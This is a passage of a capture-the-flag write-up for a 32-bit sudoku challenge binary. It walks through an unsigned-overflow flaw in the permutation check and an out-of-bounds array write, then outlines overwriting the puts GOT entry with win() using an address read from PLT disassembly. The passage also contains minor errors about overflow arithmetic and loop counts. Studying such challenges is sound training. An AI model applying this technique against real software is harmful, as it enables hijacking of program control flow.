&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;checkrow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jj&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jj&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jj&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;checkrow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;checkrow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Lazy way to check nums is a permutation of 1 - 9.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;362880&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Interesting is the &lt;tt class="docutils literal"&gt;checkrow()&lt;/tt&gt; function: To check if the integers are
a valid permutation of 1 to 9, it sums up and multiplies all integers.
However, the function contains a bug: If one of the digits overflows the
range of an unsigned integer, the calculation happens modulo
&lt;tt class="docutils literal"&gt;sizeof(uint)&lt;/tt&gt;. I.e. it's possible to have numbers outside of 1 to 9
in the &lt;tt class="docutils literal"&gt;nums&lt;/tt&gt; array which will be important later on.&lt;/p&gt;
&lt;p&gt;Do determine the score of the sudoku the following code is used:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scorer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;score&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;scorer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scorer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The code is interesting due to multiple reasons:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;The first loop goes from 0 to inclusive 7, the second loop goes from
1 to inclusive 9. The second loop multiplies the values in the scorer
array from &lt;tt class="docutils literal"&gt;scorer[1]&lt;/tt&gt; to &lt;tt class="docutils literal"&gt;scorer[9]&lt;/tt&gt;. However, the first loop is
executed only 7 times. This means that two values will always be 0
because they are not overwritten in the &lt;tt class="docutils literal"&gt;scorer&lt;/tt&gt; array and hence
the whole score will always be 0.&lt;/li&gt;
&lt;li&gt;The value of the sudoku itself is used as an index for the &lt;tt class="docutils literal"&gt;scorer&lt;/tt&gt;
array: &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;scorer[sudoku[i][i]]&lt;/span&gt; = sudoku[i + &lt;span class="pre"&gt;1][i&lt;/span&gt; + 1]&lt;/tt&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point we were stuck and did not really know how to proceed.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="solution"&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;After the CTF, somebody posted a solution in Mattermost:
&lt;a class="reference external" href="https://pastebin.com/yMM49Q2W"&gt;https://pastebin.com/yMM49Q2W&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The idea is to overwrite the address of &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; with the address of
&lt;tt class="docutils literal"&gt;win()&lt;/tt&gt;. This is possible because due to the overflow it is possible
to overwrite arbitrary addresses:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;scorer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is equal to &lt;tt class="docutils literal"&gt;*(scorer + &lt;span class="pre"&gt;sudoku[i][i])&lt;/span&gt; = sudoku[i + &lt;span class="pre"&gt;1][i&lt;/span&gt; + 1]&lt;/tt&gt;.
The address of &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; is overwritten if
&lt;tt class="docutils literal"&gt;scorer + &lt;span class="pre"&gt;4*sudoku[i][i]&lt;/span&gt; == puts&lt;/tt&gt;. Therefore we calculate the
difference of the addresses of &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; and the &lt;tt class="docutils literal"&gt;scorer&lt;/tt&gt; array and
divide it by the size of an unsigned integer (4):&lt;/p&gt;
&lt;p&gt;We don't know the position of &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; but because it is a library
function, it uses the PLT (see also
&lt;a class="reference external" href="https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html"&gt;https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html&lt;/a&gt; for an
explanation):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
08048400 &amp;lt;puts&amp;#64;plt&amp;gt;:
 8048400:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048406:       68 08 00 00 00          push   $0x8
 804840b:       e9 d0 ff ff ff          jmp    80483e0 &amp;lt;.plt&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Therefore we take the hard coded address &lt;tt class="docutils literal"&gt;0x804a010&lt;/tt&gt; and write to that
location.&lt;/p&gt;
